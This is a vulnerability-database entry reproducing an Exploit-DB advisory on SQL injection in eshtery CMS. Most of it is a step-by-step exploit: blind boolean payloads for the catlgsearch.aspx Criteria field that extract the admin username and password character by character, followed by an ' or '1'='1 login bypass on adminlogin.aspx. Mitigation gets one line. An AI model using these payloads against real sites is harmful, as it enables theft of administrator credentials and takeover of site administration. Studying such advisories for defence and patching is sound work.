eshtery CMS Sql Injection Vulnerability

vendor:

eshtery CMS

by:

Abysssec Inc

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: eshtery CMS

Affected Version From: eshtery copyrights 2003-2004

Affected Version To: eshtery copyrights 2003-2004

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2004

eshtery CMS Sql Injection Vulnerability

For successful injection in this CMS, an attacker has to pass two steps. In the first step, the attacker has to enter a value in the Criteria field and click on the 'Go' button. If the data is loaded, the attacker can enter a value to define the first character of the AccName field of the Admins table. If the first character is 'a', the data will be loaded. If not, nothing will be loaded. The attacker can repeat this process to acquire the other characters and extract the admin's username and password.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub12-eshtery-cms-sql-injection-vulnerability/
'''


Abysssec Inc Public Advisory
 
  Title            :  eshtery CMS Sql Injection Vulnerability
  Affected Version :  eshtery copyrights 2003-2004
  Discovery        :  www.abysssec.com
  Vendor	   :  http://eshtery.she7ata.com/projects/eshtery/

  Demo  	   :  http://eshtery.she7ata.com/projects/eshtery/
  Download Links   :  http://sourceforge.net/projects/eshtery/
  
 
Description :
===========================================================================================      
1) SQL Injection

  for successful injection in this cms you have to pass two steps.
      
   Step 1:
   ----------------------------------------------------------------------------------------
          Go to this path:
                 http://Example.com/catlgsearch.aspx

          and enter this value in Criteria field:
                 %') and 1=1 AND (Item.iname LIKE '%
    
          and click on "go" button. You will see that the data will be loaded.
          
          Now enter this value:
                 %') and 1=2 AND (Item.iname LIKE '%
           
          With this value no data will be loaded.


          So if we enter below value, with the following technique we can define the first character 
          of AccName field of Admins table :
                 %') and 1=IIF((select mid(last(AccName),1,1) from (select top 1 AccName from admins))='a',1,2) AND (Item.iname LIKE '% 

          If the first character is 'a', the data will be loaded. If not, you will see nothing.
          
          Second character:
                 %') and 1=IIF((select mid(last(AccName),2,1) from (select top 1 AccName from admins))='d',1,2) AND (Item.iname LIKE '% 

          and respectivly you can acqure another characters.

          As a result, the first value of AccName field from Admins table acqured.  

          With this method you can obtain the Password value of Admin from Admins table
          and going to other steps is not  necessary.


    Step 2:
   ----------------------------------------------------------------------------------------          
          The value of AccName obtained in the first step(for example: admin).
          You can go to adminlogin.aspx page:
                 http://Example.com/adminlogin.aspx 

          and enter this value to login: 
                 username : admin' or '1'='1 
        	 password : foo
  
          Now you are admin of site.

  
          

===========================================================================================